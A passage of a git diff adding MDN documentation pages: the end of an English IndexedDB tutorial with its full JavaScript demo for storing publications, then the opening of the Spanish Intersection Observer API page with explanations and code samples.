+  border-radius: 0.3em;
+}
+
+.required:after {
+  content: "*";
+  color: red;
+}
+
+.button-pane {
+  margin-top: 1em;
+}
+
+#pub-viewer {
+  float: right;
+  width: 48%;
+  height: 20em;
+  border: solid #d092ff 0.1em;
+}
+#pub-viewer iframe {
+  width: 100%;
+  height: 100%;
+}
+
+#pub-list {
+  width: 46%;
+  background-color: #eeeeee;
+  border-radius: 0.3em;
+}
+#pub-list li {
+  padding-top: 0.5em;
+  padding-bottom: 0.5em;
+  padding-right: 0.5em;
+}
+
+#msg {
+  margin-bottom: 1em;
+}
+
+.action-success {
+  padding: 0.5em;
+  color: #00d21e;
+  background-color: #eeeeee;
+  border-radius: 0.2em;
+}
+
+.action-failure {
+  padding: 0.5em;
+  color: #ff1408;
+  background-color: #eeeeee;
+  border-radius: 0.2em;
+}
+
+.note {
+  font-size: smaller;
+}
+
+.destructive {
+  background-color: orange;
+}
+.destructive:hover {
+  background-color: #ff8000;
+}
+.destructive:active {
+  background-color: red;
+}
+</pre>
+
+<p> </p>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js">(function () {
+  var COMPAT_ENVS = [
+    ['Firefox', "&gt;= 16.0"],
+    ['Google Chrome',
+     "&gt;= 24.0 (you may need to get Google Chrome Canary), NO Blob storage support"]
+  ];
+  var compat = $('#compat');
+  compat.empty();
+  compat.append('&lt;ul id="compat-list"&gt;&lt;/ul&gt;');
+  COMPAT_ENVS.forEach(function(val, idx, array) {
+    $('#compat-list').append('&lt;li&gt;' + val[0] + ': ' + val[1] + '&lt;/li&gt;');
+  });
+
+  const DB_NAME = 'mdn-demo-indexeddb-epublications';
+  const DB_VERSION = 1; // Use a long long for this value (don't use a float)
+  const DB_STORE_NAME = 'publications';
+
+  var db;
+
+  // Used to keep track of which view is displayed to avoid uselessly reloading it
+  var current_view_pub_key;
+
+  function openDb() {
+    console.log("openDb ...");
+    var req = indexedDB.open(DB_NAME, DB_VERSION);
+    req.onsuccess = function (evt) {
+      // Better use "this" than "req" to get the result to avoid problems with
+      // garbage collection.
+      // db = req.result;
+      db = this.result;
+      console.log("openDb DONE");
+    };
+    req.onerror = function (evt) {
+      console.error("openDb:", evt.target.errorCode);
+    };
+
+    req.onupgradeneeded = function (evt) {
+      console.log("openDb.onupgradeneeded");
+      var store = evt.currentTarget.result.createObjectStore(
+        DB_STORE_NAME, { keyPath: 'id', autoIncrement: true });
+
+      store.createIndex('biblioid', 'biblioid', { unique: true });
+      store.createIndex('title', 'title', { unique: false });
+      store.createIndex('year', 'year', { unique: false });
+    };
+  }
+
+  /**
+   * @param {string} store_name
+   * @param {string} mode either "readonly" or "readwrite"
+   */
+  function getObjectStore(store_name, mode) {
+    var tx = db.transaction(store_name, mode);
+    return tx.objectStore(store_name);
+  }
+
+  function clearObjectStore(store_name) {
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req = store.clear();
+    req.onsuccess = function(evt) {
+      displayActionSuccess("Store cleared");
+      displayPubList(store);
+    };
+    req.onerror = function (evt) {
+      console.error("clearObjectStore:", evt.target.errorCode);
+      displayActionFailure(this.error);
+    };
+  }
+
+  function getBlob(key, store, success_callback) {
+    var req = store.get(key);
+    req.onsuccess = function(evt) {
+      var value = evt.target.result;
+      if (value)
+        success_callback(value.blob);
+    };
+  }
+
+  /**
+   * @param {IDBObjectStore=} store
+   */
+  function displayPubList(store) {
+    console.log("displayPubList");
+
+    if (typeof store == 'undefined')
+      store = getObjectStore(DB_STORE_NAME, 'readonly');
+
+    var pub_msg = $('#pub-msg');
+    pub_msg.empty();
+    var pub_list = $('#pub-list');
+    pub_list.empty();
+    // Resetting the iframe so that it doesn't display previous content
+    newViewerFrame();
+
+    var req;
+    req = store.count();
+    // Requests are executed in the order in which they were made against the
+    // transaction, and their results are returned in the same order.
+    // Thus the count text below will be displayed before the actual pub list
+    // (not that it is algorithmically important in this case).
+    req.onsuccess = function(evt) {
+      pub_msg.append('&lt;p&gt;There are &lt;strong&gt;' + evt.target.result +
+                     '&lt;/strong&gt; record(s) in the object store.&lt;/p&gt;');
+    };
+    req.onerror = function(evt) {
+      console.error("add error", this.error);
+      displayActionFailure(this.error);
+    };
+
+    var i = 0;
+    req = store.openCursor();
+    req.onsuccess = function(evt) {
+      var cursor = evt.target.result;
+
+      // If the cursor is pointing at something, ask for the data
+      if (cursor) {
+        console.log("displayPubList cursor:", cursor);
+        req = store.get(cursor.key);
+        req.onsuccess = function (evt) {
+          var value = evt.target.result;
+          var list_item = $('&lt;li&gt;' +
+                            '[' + cursor.key + '] ' +
+                            '(biblioid: ' + value.biblioid + ') ' +
+                            value.title +
+                            '&lt;/li&gt;');
+          if (value.year != null)
+            list_item.append(' - ' + value.year);
+
+          if (value.hasOwnProperty('blob') &amp;&amp;
+              typeof value.blob != 'undefined') {
+            var link = $('&lt;a href="' + cursor.key + '"&gt;File&lt;/a&gt;');
+            link.on('click', function() { return false; });
+            link.on('mouseenter', function(evt) {
+                      setInViewer(evt.target.getAttribute('href')); });
+            list_item.append(' / ');
+            list_item.append(link);
+          } else {
+            list_item.append(" / No attached file");
+          }
+          pub_list.append(list_item);
+        };
+
+        // Move on to the next object in store
+        cursor.continue();
+
+        // This counter serves only to create distinct ids
+        i++;
+      } else {
+        console.log("No more entries");
+      }
+    };
+  }
+
+  function newViewerFrame() {
+    var viewer = $('#pub-viewer');
+    viewer.empty();
+    var iframe = $('&lt;iframe /&gt;');
+    viewer.append(iframe);
+    return iframe;
+  }
+
+  function setInViewer(key) {
+    console.log("setInViewer:", arguments);
+    key = Number(key);
+    if (key == current_view_pub_key)
+      return;
+
+    current_view_pub_key = key;
+
+    var store = getObjectStore(DB_STORE_NAME, 'readonly');
+    getBlob(key, store, function(blob) {
+      console.log("setInViewer blob:", blob);
+      var iframe = newViewerFrame();
+
+      // It is not possible to set a direct link to the
+      // blob to provide a mean to directly download it.
+      if (blob.type == 'text/html') {
+        var reader = new FileReader();
+        reader.onload = (function(evt) {
+          var html = evt.target.result;
+          iframe.load(function() {
+            $(this).contents().find('html').html(html);
+          });
+        });
+        reader.readAsText(blob);
+      } else if (blob.type.indexOf('image/') == 0) {
+        iframe.load(function() {
+          var img_id = 'image-' + key;
+          var img = $('&lt;img id="' + img_id + '"/&gt;');
+          $(this).contents().find('body').html(img);
+          var obj_url = window.URL.createObjectURL(blob);
+          $(this).contents().find('#' + img_id).attr('src', obj_url);
+          window.URL.revokeObjectURL(obj_url);
+        });
+      } else if (blob.type == 'application/pdf') {
+        $('*').css('cursor', 'wait');
+        var obj_url = window.URL.createObjectURL(blob);
+        iframe.load(function() {
+          $('*').css('cursor', 'auto');
+        });
+        iframe.attr('src', obj_url);
+        window.URL.revokeObjectURL(obj_url);
+      } else {
+        iframe.load(function() {
+          $(this).contents().find('body').html("No view available");
+        });
+      }
+
+    });
+  }
+
+  /**
+   * @param {string} biblioid
+   * @param {string} title
+   * @param {number} year
+   * @param {string} url the URL of the image to download and store in the local
+   *   IndexedDB database. The resource behind this URL is subjected to the
+   *   "Same origin policy", thus for this method to work, the URL must come from
+   *   the same origin as the web site/app this code is deployed on.
+   */
+  function addPublicationFromUrl(biblioid, title, year, url) {
+    console.log("addPublicationFromUrl:", arguments);
+
+    var xhr = new XMLHttpRequest();
+    xhr.open('GET', url, true);
+    // Setting the wanted responseType to "blob"
+    // http://www.w3.org/TR/XMLHttpRequest2/#the-response-attribute
+    xhr.responseType = 'blob';
+    xhr.onload = function (evt) {
+                           if (xhr.status == 200) {
+                             console.log("Blob retrieved");
+                             var blob = xhr.response;
+                             console.log("Blob:", blob);
+                             addPublication(biblioid, title, year, blob);
+                           } else {
+                             console.error("addPublicationFromUrl error:",
+                                           xhr.responseText, xhr.status);
+                           }
+                         };
+    xhr.send();
+
+    // We can't use jQuery here because as of jQuery 1.8.3 the new "blob"
+    // responseType is not handled.
+    // http://bugs.jquery.com/ticket/11461
+    // http://bugs.jquery.com/ticket/7248
+    // $.ajax({
+    //   url: url,
+    //   type: 'GET',
+    //   xhrFields: { responseType: 'blob' },
+    //   success: function(data, textStatus, jqXHR) {
+    //     console.log("Blob retrieved");
+    //     console.log("Blob:", data);
+    //     // addPublication(biblioid, title, year, data);
+    //   },
+    //   error: function(jqXHR, textStatus, errorThrown) {
+    //     console.error(errorThrown);
+    //     displayActionFailure("Error during blob retrieval");
+    //   }
+    // });
+  }
+
+  /**
+   * @param {string} biblioid
+   * @param {string} title
+   * @param {number} year
+   * @param {Blob=} blob
+   */
+  function addPublication(biblioid, title, year, blob) {
+    console.log("addPublication arguments:", arguments);
+    var obj = { biblioid: biblioid, title: title, year: year };
+    if (typeof blob != 'undefined')
+      obj.blob = blob;
+
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req;
+    try {
+      req = store.add(obj);
+    } catch (e) {
+      if (e.name == 'DataCloneError')
+        displayActionFailure("This engine doesn't know how to clone a Blob, " +
+                             "use Firefox");
+      throw e;
+    }
+    req.onsuccess = function (evt) {
+      console.log("Insertion in DB successful");
+      displayActionSuccess();
+      displayPubList(store);
+    };
+    req.onerror = function() {
+      console.error("addPublication error", this.error);
+      displayActionFailure(this.error);
+    };
+  }
+
+  /**
+   * @param {string} biblioid
+   */
+  function deletePublicationFromBib(biblioid) {
+    console.log("deletePublication:", arguments);
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req = store.index('biblioid');
+    req.get(biblioid).onsuccess = function(evt) {
+      if (typeof evt.target.result == 'undefined') {
+        displayActionFailure("No matching record found");
+        return;
+      }
+      deletePublication(evt.target.result.id, store);
+    };
+    req.onerror = function (evt) {
+      console.error("deletePublicationFromBib:", evt.target.errorCode);
+    };
+  }
+
+  /**
+   * @param {number} key
+   * @param {IDBObjectStore=} store
+   */
+  function deletePublication(key, store) {
+    console.log("deletePublication:", arguments);
+
+    if (typeof store == 'undefined')
+      store = getObjectStore(DB_STORE_NAME, 'readwrite');
+
+    // As per spec http://www.w3.org/TR/IndexedDB/#object-store-deletion-operation
+    // the result of the Object Store Deletion Operation algorithm is
+    // undefined, so it's not possible to know if some records were actually
+    // deleted by looking at the request result.
+    var req = store.get(key);
+    req.onsuccess = function(evt) {
+      var record = evt.target.result;
+      console.log("record:", record);
+      if (typeof record == 'undefined') {
+        displayActionFailure("No matching record found");
+        return;
+      }
+      // Warning: The exact same key used for creation needs to be passed for
+      // the deletion. If the key was a Number for creation, then it needs to
+      // be a Number for deletion.
+      req = store.delete(key);
+      req.onsuccess = function(evt) {
+        console.log("evt:", evt);
+        console.log("evt.target:", evt.target);
+        console.log("evt.target.result:", evt.target.result);
+        console.log("delete successful");
+        displayActionSuccess("Deletion successful");
+        displayPubList(store);
+      };
+      req.onerror = function (evt) {
+        console.error("deletePublication:", evt.target.errorCode);
+      };
+    };
+    req.onerror = function (evt) {
+      console.error("deletePublication:", evt.target.errorCode);
+      };
+  }
+
+  function displayActionSuccess(msg) {
+    msg = typeof msg != 'undefined' ? "Success: " + msg : "Success";
+    $('#msg').html('&lt;span class="action-success"&gt;' + msg + '&lt;/span&gt;');
+  }
+  function displayActionFailure(msg) {
+    msg = typeof msg != 'undefined' ? "Failure: " + msg : "Failure";
+    $('#msg').html('&lt;span class="action-failure"&gt;' + msg + '&lt;/span&gt;');
+  }
+  function resetActionStatus() {
+    console.log("resetActionStatus ...");
+    $('#msg').empty();
+    console.log("resetActionStatus DONE");
+  }
+
+  function addEventListeners() {
+    console.log("addEventListeners");
+
+    $('#register-form-reset').click(function(evt) {
+      resetActionStatus();
+    });
+
+    $('#add-button').click(function(evt) {
+      console.log("add ...");
+      var title = $('#pub-title').val();
+      var biblioid = $('#pub-biblioid').val();
+      if (!title || !biblioid) {
+        displayActionFailure("Required field(s) missing");
+        return;
+      }
+      var year = $('#pub-year').val();
+      if (year != '') {
+        // Better use Number.isInteger if the engine has EcmaScript 6
+        if (isNaN(year))  {
+          displayActionFailure("Invalid year");
+          return;
+        }
+        year = Number(year);
+      } else {
+        year = null;
+      }
+
+      var file_input = $('#pub-file');
+      var selected_file = file_input.get(0).files[0];
+      console.log("selected_file:", selected_file);
+      // Keeping a reference on how to reset the file input in the UI once we
+      // have its value, but instead of doing that we rather use a "reset" type
+      // input in the HTML form.
+      //file_input.val(null);
+      var file_url = $('#pub-file-url').val();
+      if (selected_file) {
+        addPublication(biblioid, title, year, selected_file);
+      } else if (file_url) {
+        addPublicationFromUrl(biblioid, title, year, file_url);
+      } else {
+        addPublication(biblioid, title, year);
+      }
+
+    });
+
+    $('#delete-button').click(function(evt) {
+      console.log("delete ...");
+      var biblioid = $('#pub-biblioid-to-delete').val();
+      var key = $('#key-to-delete').val();
+
+      if (biblioid != '') {
+        deletePublicationFromBib(biblioid);
+      } else if (key != '') {
+        // Better use Number.isInteger if the engine has EcmaScript 6
+        if (key == '' || isNaN(key))  {
+          displayActionFailure("Invalid key");
+          return;
+        }
+        key = Number(key);
+        deletePublication(key);
+      }
+    });
+
+    $('#clear-store-button').click(function(evt) {
+      clearObjectStore();
+    });
+
+    var search_button = $('#search-list-button');
+    search_button.click(function(evt) {
+      displayPubList();
+    });
+
+  }
+
+  openDb();
+  addEventListeners();
+
+})(); // Immediately-Invoked Function Expression (IIFE)
+</pre>
+
+<p>{{ LiveSampleLink('Full_IndexedDB_example', "Test the online live demo") }}</p>
+
+<h2 id="Next_step">Next step</h2>
+
+<p>If you want to start tinkering with the API, jump in to the <a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">reference documentation</a> and check out the different methods.</p>
+
+<h2 id="See_also">See also</h2>
+
+<p>Reference</p>
+
+<ul>
+ <li><a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB API Reference</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/IndexedDB/" title="http://www.w3.org/TR/IndexedDB/">Indexed Database API Specification</a></li>
+ <li><a href="/en-US/docs/IndexedDB/Using_IndexedDB_in_chrome" title="/en-US/docs/IndexedDB/Using_IndexedDB_in_chrome">Using IndexedDB in chrome</a></li>
+</ul>
+
+<p>Tutorials</p>
+
+<ul>
+ <li><a class="external" href="http://www.html5rocks.com/tutorials/indexeddb/todo/" title="http://www.html5rocks.com/tutorials/indexeddb/todo/">A simple TODO list using HTML5 IndexedDB</a><span class="external">. {{Note("This tutorial is based on an old version of the specification and does not work on up-to-date browsers - it still uses the removed <code>setVersion()</code> method.") }}</span></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/indexeddb/uidatabinding/" title="http://www.html5rocks.com/en/tutorials/indexeddb/uidatabinding/">Databinding UI Elements with IndexedDB</a></li>
+</ul>
+
+<p>Related articles</p>
+
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx" title="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx">IndexedDB — The Store in Your Browser</a></li>
+</ul>
+
+<p>Firefox</p>
+
+<ul>
+ <li>Mozilla <a class="link-https" href="https://mxr.mozilla.org/mozilla-central/find?text=&amp;string=dom%2FindexedDB%2F.*%5C.idl&amp;regexp=1" title="https://mxr.mozilla.org/mozilla-central/find?text=&amp;string=dom/indexedDB/.*\.idl&amp;regexp=1">interface files</a></li>
+</ul>
diff --git a/files/es/web/api/intersection_observer_api/index.html b/files/es/web/api/intersection_observer_api/index.html
new file mode 100644
index 0000000000..d96bb02280
--- /dev/null
+++ b/files/es/web/api/intersection_observer_api/index.html
@@ -0,0 +1,638 @@
+---
+title: Intersection Observer API
+slug: Web/API/Intersection_Observer_API
+translation_of: Web/API/Intersection_Observer_API
+---
+<p>{{DefaultAPISidebar("Intersection Observer API")}}</p>
+
+<div></div>
+
+<p class="summary"><span class="seoSummary">La API Observador de Intersección provee una vía asíncrona para observar cambios en la intersección de un elemento con un elemento ancestro o con el {{Glossary("viewport")}} del documento de nivel superior.</span></p>
+
+<p>Históricamente, detectar la visibilidad de un elemento, o la visibilidad relativa de dos elementos, uno respecto del otro, ha sido una tarea difícil para la cual las soluciones no han sido muy fiables y propensas a causar que el navegador y los sitios a los que el usuario accede lleguen a ser lentos. A medida que la web ha madurado, la necesidad para este tipo de información ha ido en aumento. La información sobre intersección es necesaria por muchas razones, tales como:</p>
+
+<ul>
+ <li>Carga en diferido de imágenes u otro contenido a medida que la página se desplaza.</li>
+ <li>Implementación del desplazamiento infinito en sitios web, donde más y más contenido se carga y muestra a medida que se desplaza la página, de forma que el usuario no tiene que pasar páginas.</li>
+ <li>Informes de visualizaciones de anuncios para calcular ingresos por publicidad.</li>
+ <li>Decidir si deben realizarse tareas o procesos de animación basados en si el usuario verá o no el resultado.</li>
+</ul>
+
+<p>Implementar la detección de intersecciones en el pasado implicaba manejadores de eventos y bucles llamando a métodos como {{domxref("Element.getBoundingClientRect()")}} para reunir la información necesaria para cada elemento afectado. Dado que todo este código corre sobre el hilo principal, incluso uno de estos puede causar problemas de rendimiento. Cuando un sitio es cargado con estos tests, las cosas pueden ponerse muy feas.</p>
+
+<p>Considere una página web que usa scroll infinito. Usa una librería de terceros para manejar los anuncios situados periódicamente en la página, que tiene gráficos animados aquí y allá, y usa una librería personalizada que muestra cajas de notificación y similares. Cada uno de estos tiene sus propias rutinas de detección de intersecciones, todas corriendo en el hilo principal. El autor del sitio web puede no darse cuenta de que esto está pasando, ya que están usando dos librerías de las que quizás conocen muy poco acerca de su funcionamiento interno. A medida que el usuario desplaza la página, estas rutinas de detección de intersecciones están disparando código constantemente durante el scroll, lo que resulta en una experiencia que deja al usuario frustrado con el navegador, el sitio web y su ordenador.</p>
+
+<p>El API Intersection Observer deja al código registrar una función callback que se ejecuta si un elemento que se desea monitorizar entra o sale de otro elemento (o del {{Glossary("viewport")}}), o cuando la cantidad por la que ambos elementos se intersecan cambia en una cantidad requerida. De esta manera, los sitios no necesitan hacer nada sobre el hilo principal para mirar este tipo de intersección entre elementos, y el navegador está libre para optimizar la gestión de intersecciones como le parezca conveniente.</p>
+
+<p>Una cosa que el API Intersection Observer no puede decirle es: el número exacto de pixels que se solapan o específicamente cuales son; sin embargo, cubre el caso de uso mucho más común de "Si se intersecan por algún lugar alrededor del <em>N</em>%, necesito hacer algo."</p>
+
+<h2 id="Intersection_observer_conceptos_y_uso">Intersection observer conceptos y uso</h2>
+
+<p>La API Intersection Observer le permite configurar una función callback que es llamada cuando alguna de las siguientes circunstancias ocurren:</p>
+
+<ul>
+ <li>Un elemento <strong>target </strong>intersecta ya sea al viewport del dispositivo o un elemento especificado. Ese elemento especificado es llamado el <strong>elemento root</strong> o <strong>root</strong> a los propósitos de la API Intersection Observer.</li>
+ <li>La primera vez que se pide inicialmente al observador que observe un elemento target.</li>
+</ul>
+
+<p>Típicamente, usted querrá observar los cambios en las intersecciones con respecto al ancestro scrollable más cercano al elemento, o, si el elemento no desciende de un ancestro scrollable, al viewport.<br>
+ Para observar la intersección relativa al elemento root, especifique null;</p>
+
+<p>Tanto si está usted usando el viewport o algún otro elemento como root, el API funciona de la misma manera, ejecutando una función callback que usted le proporciona cuando la visibilidad del elemento target cambia al cruzar en la cantidad de intersección deseada con el elemento root.</p>
+
+<p>El grado de intersección entre el elemento target y su elemento root es el <strong>intersection ratio</strong>. Esto es una representación del porcentaje del elemento target que es visible, indicado como un valor entre 0.0 y 1.0.</p>
+
+<h3 id="Creando_un_intersection_observer">Creando un intersection observer</h3>
+
+<p>Cree el intersection observer llamando a su constructor y pasándole una función callback para que se ejecute cuando se cruce un umbral (threshold) en una u otra dirección:</p>
+
+<pre class="brush: js notranslate">let options = {
+  root: document.querySelector('#scrollArea'),
+  rootMargin: '0px',
+  threshold: 1.0
+}
+
+let observer = new IntersectionObserver(callback, options);</pre>
+
+<p>Un umbral de 1.0 significa que cuando el 100% del elemento target está visible dentro del elemento especificado por la opción <code>root</code>, la función callback es invocada.</p>
+
+<h4 id="Opciones_de_Intersection_observer">Opciones de Intersection observer</h4>
+
+<p>El objeto <code>options</code> pasado al constructor {{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}} le deja controlar las circunstancias bajo las cuales la función callback es invocada. Tiene los siguientes campos:</p>
+
+<dl>
+ <dt><code>root</code></dt>
+ <dd>El elemento que es usado como viewport para comprobar la visibilidad de elemento target. Debe ser ancestro de target. Por defecto es el viewport del navegador si no se especifica o si es <code>null</code>.</dd>
+ <dt><code>rootMargin</code>  </dt>
+ <dd>Margen alrededor del elemeto root. Puede tener valores similares a los de CSS {{cssxref("margin")}} property, e.g. "<code>10px 20px 30px 40px"</code> (top, right, bottom, left). Los valores pueden ser porcentajes. Este conjunto de valores sirve para aumentar o encoger cada lado del cuadro delimitador del elemento root antes de calcular las intersecciones. Por defecto son todos cero.</dd>
+ <dt><code>threshold</code></dt>
+ <dd>Es un número o un array de números que indican a que porcentaje de visibilidad del elemento target, la función callback del observer debería ser ejecutada. Si usted quiere que se detecte cuando la visibilidad pasa la marca del 50%, debería usar un valor de 0.5. Si quiere ejecutar la función callback cada vez que la visibilidad pase otro 25%, usted debería especificar el array [0, 0.25, 0.5, 0.75, 1]. El valor por defecto es 0 (lo que significa que tan pronto como un píxel sea visible, la función callback será ejecutada). Un valor de 1.0 significa que el umbral no se considera pasado hasta que todos los pixels son visibles.</dd>
+</dl>
+
+<h4 id="Determinando_un_elemento_para_ser_observado">Determinando un elemento para ser observado</h4>
+
+<p>Una vez usted ha creado el observer, necesita darle un elemento target para observar:</p>
+
+<pre class="brush: js notranslate">var target = document.querySelector('#listItem');
+observer.observe(target);
+
+// el callback que indicamos al observador será ejecutado ahora por primera vez
+// espera hasta que le asignemos un target a nuestro observador (aún si el target no está actualmente visible)
+</pre>
+
+<p>Cuando el elemento target encuentra un threshold especificado por el <code>IntersectionObserver</code>, la función callback es invocada. La función callback recibe una lista de objetos {{domxref("IntersectionObserverEntry")}} y el observer:</p>
+
+<pre class="brush: js notranslate">var callback = function(entries, observer) {
+  entries.forEach(entry =&gt; {
+    // Cada entry describe un cambio en la intersección para
+    // un elemento observado
+    //   entry.boundingClientRect
+    //   entry.intersectionRatio
+    //   entry.intersectionRect
+    //   entry.isIntersecting
+    //   entry.rootBounds
+    //   entry.target
+    //   entry.time
+  });
+};
+</pre>
+
+<p>Asegúrese de que su función callback se ejecute sobre el hilo principal. Debería operar tan rápidamente como sea posible; si alguna cosa necesita  tiempo extra para ser realizada, use {{domxref("Window.requestIdleCallback()")}}.</p>
+
+<p>También, note que si especifica la opción <code>root</code>, el elemento target debe ser un descendiente del elemento root.</p>
+
+<h3 id="Cómo_se_calcula_la_intersección">Cómo se calcula la intersección</h3>
+
+<p>Todas las áreas consideradas por la API de Intersection Observer son rectángulos; los elementos que su forma es irregular se considera que están ocupando el rectángulo más pequeño que encierra todas las partes del elemento. De forma similar, si la porción visible de un elemento no es un rectángulo, entonces el rectángulo de intersección del elemento se interpreta como el rectángulo más pequeño que contiene todas las partes visibles del elemento.</p>
+
+<p>Es útil entender un poco sobre cómo las diferentes propiedades proporcionadas por {{domxref("IntersectionObserverEntry")}} describe una intersección.</p>
+
+<h4 id="La_intersección_entre_el_elemento_root_y_su_margen">La intersección entre el elemento root y su margen</h4>
+
+<p>Antes de poder realizar un seguimiento de la intersección de un elemento en un contenedor, necesitamos saber qué cuál es contendor. Este contenedor se le conoce como <strong>intersection root</strong>, o <strong>root element</strong>. Este puede ser un elemento del documento, que es ascendiente del elemento observado, o <code>null</code>, que usará el viewport del documento como contenedor.</p>
+
+<p>El rectángulo usado como los límites de la intersección del intersection root pueden ser ajustados configurando la opción <strong>root margin</strong>, <code>rootMargin</code>, cuando creamos el {{domxref("IntersectionObserver")}}. Los valores en <code>rootMargin</code> define los espacios añadidos a cada lado del cuadro delimitador que sirve de contenedor, creando los límites definitivos del contenedor, o intersection root (los cuáles están explicados en {{domxref("IntersectionObserverEntry.rootBounds")}} cuando la función callback es ejecutada).</p>
+
+<h4 id="Umbrales">Umbrales</h4>
+
+<p>En lugar de reportar cada mínimo cambio indicando cómo de visible es el elemento que observamos, la Intersection Observer API usa <strong>umbrales</strong>. Cuando creamos un observable, puedes proporcionar uno o más valores númericos representando, en porcentaje, cuán visible es el elemento observado. Entonces, la API reporta sólo los cambios de visibilidad que cruza este umbral.</p>
+
+<p>Por ejemplo, si te gustaría ser informado cada vez que la visibilidad del elemento pasa, hacia delante o hacía atrás, una marca de un 25%, entonces puedes especificar el array [0, 0.25, 0.5, 0.75, 1] como una lista de umbrales a la hora de crear el observable. Puedes saber incluso en qué dirección la visibilidad ha cambiado (esto es, saber si el elemento ha pasado a ser más o menos visible) comprobando el valor de la propiedad {{domxref("IntersectionObserverEntry.isIntersecting", "isIntersecting")}} disponible en el {{domxref("IntersectionObserverEntry")}} que tienes disponible en la función callback cada vez que la visibilidad cambia. Si <code>isIntersecting</code> es <code>true</code>, el elemento se ha vuelto al menos tan visibile como el umbral que pasó. Si es <code>false</code>, el elemento entonces ha dejado de ser tan visible como el umbral que sobrepasó.</p>
+
+<p>Para entender cómo funciona el concepto de umbral (threshold), pruebe a hacer scroll en el siguiente ejemplo. Cada caja coloreada muestra dentro de ella el porcentaje que tiene visible de cada una de las cuadro esquinas, de forma que podrá ver cómo cambian los porcentajes conforme va haciendo scroll. Cada caja tiene diferentes valores configurado de umbrales.</p>
+
+<ul>
+ <li>La primera caja tiene un umbral para cada punto del porcentaje de visibilidad posible en el array que se le pasa a {{domxref("IntersectionObserver.thresholds")}}, siendo su valor el array <code>[0.00, 0.01, 0.02, ..., 0.99, 1.00]</code>.</li>
+ <li>La segunda caja sólo tiene un umbral que se marca en el 50%.</li>
+ <li>La tercera caja tiene un umbral cada 10% de visibilidad (0%, 10%, 20%, etc.).</li>
+ <li>La última tiene el umbral cada 25%.</li>
+</ul>
+
+<div class="hidden" id="threshold-example">
+<pre class="brush: html notranslate">&lt;template id="boxTemplate"&gt;
+  &lt;div class="sampleBox"&gt;
+    &lt;div class="label topLeft"&gt;&lt;/div&gt;
+    &lt;div class="label topRight"&gt;&lt;/div&gt;
+    &lt;div class="label bottomLeft"&gt;&lt;/div&gt;
+    &lt;div class="label bottomRight"&gt;&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/template&gt;
+
+&lt;main&gt;
+  &lt;div class="contents"&gt;
+    &lt;div class="wrapper"&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/main&gt;</pre>
+
+<pre class="brush: css notranslate">.contents {
+  position: absolute;
+  width: 700px;
+  height: 1725px;
+}
+
+.wrapper {
+  position: relative;
+  top: 600px;
+}
+
+.sampleBox {
+  position: relative;
+  left: 175px;
+  width: 150px;
+  background-color: rgb(245, 170, 140);
+  border: 2px solid rgb(201, 126, 17);
+  padding: 4px;
+  margin-bottom: 6px;
+}
+
+#box1 {
+  height: 200px;
+}
+
+#box2 {
+  height: 75px;
+}
+
+#box3 {
+  height: 150px;
+}
+
+#box4 {
+  height: 100px;
+}
+
+.label {
+  font: 14px "Open Sans", "Arial", sans-serif;
+  position: absolute;
+  margin: 0;
+  background-color: rgba(255, 255, 255, 0.7);
+  border: 1px solid rgba(0, 0, 0, 0.7);
+  width: 3em;
+  height: 18px;
+  padding: 2px;
+  text-align: center;
+}
+
+.topLeft {
+  left: 2px;
+  top: 2px;
+}
+
+.topRight {
+  right: 2px;
+  top: 2px;
+}
+
+.bottomLeft {
+  bottom: 2px;
+  left: 2px;
+}
+
+.bottomRight {
+  bottom: 2px;
+  right: 2px;
+}
+</pre>
+
+<pre class="brush: js notranslate">let observers = [];
+
+startup();
+
+function startup() {
+  let wrapper = document.querySelector(".wrapper");
+
+  // Options for the observers
+
+  let observerOptions = {
+    root: null,
+    rootMargin: "0px",
+    threshold: []
+  };
+
+  // Un array con los umbrales para cada caje.
+  // El umbral de la primer caja se crea de forma programática
+  // ya que hay demasiados puntos.
+
+  let thresholdSets = [
+    [],
+    [0.5],
+    [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0],
+    [0, 0.25, 0.5, 0.75, 1.0]
+  ];
+
+  for (let i=0; i&lt;=1.0; i+= 0.01) {
+    thresholdSets[0].push(i);
+  }
+
+  // Añadimos cada caja y creamos un observable para cada una
+  for (let i=0; i&lt;4; i++) {
+    let template = document.querySelector("#boxTemplate").content.cloneNode(true);
+    let boxID = "box" + (i+1);
+    template.querySelector(".sampleBox").id = boxID;
+    wrapper.appendChild(document.importNode(template, true));
+
+    // Configuramos el observable para esta caja
+
+    observerOptions.threshold = thresholdSets[i];
+    observers[i] = new IntersectionObserver(intersectionCallback, observerOptions);
+    observers[i].observe(document.querySelector("#" + boxID));
+  }
+
+  // Scroll a la posición inicial
+
+  document.scrollingElement.scrollTop = wrapper.firstChild.getBoundingClientRect().top + window.scrollY;
+  document.scrollingElement.scrollLeft = 750;
+}
+
+function intersectionCallback(entries) {
+  entries.forEach(function(entry) {
+    let box = entry.target;
+    let visiblePct = (Math.floor(entry.intersectionRatio * 100)) + "%";
+
+    box.querySelector(".topLeft").innerHTML = visiblePct;
+    box.querySelector(".topRight").innerHTML = visiblePct;
+    box.querySelector(".bottomLeft").innerHTML = visiblePct;
+    box.querySelector(".bottomRight").innerHTML = visiblePct;
+  });
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("threshold-example", 500, 500)}}</p>
+
+<h4 id="Acotamiento_y_el_rectángulo_de_intersección">Acotamiento y el rectángulo de intersección</h4>
+
+<p>El navegador computa el rectángulo de intersección final de la siguiente forma; la API hace todo esto por usted, pero puede ser útil entender estos pasos para comprender mejor cuando ocurrirán exactamente las intersecciones.</p>
+
+<ol>
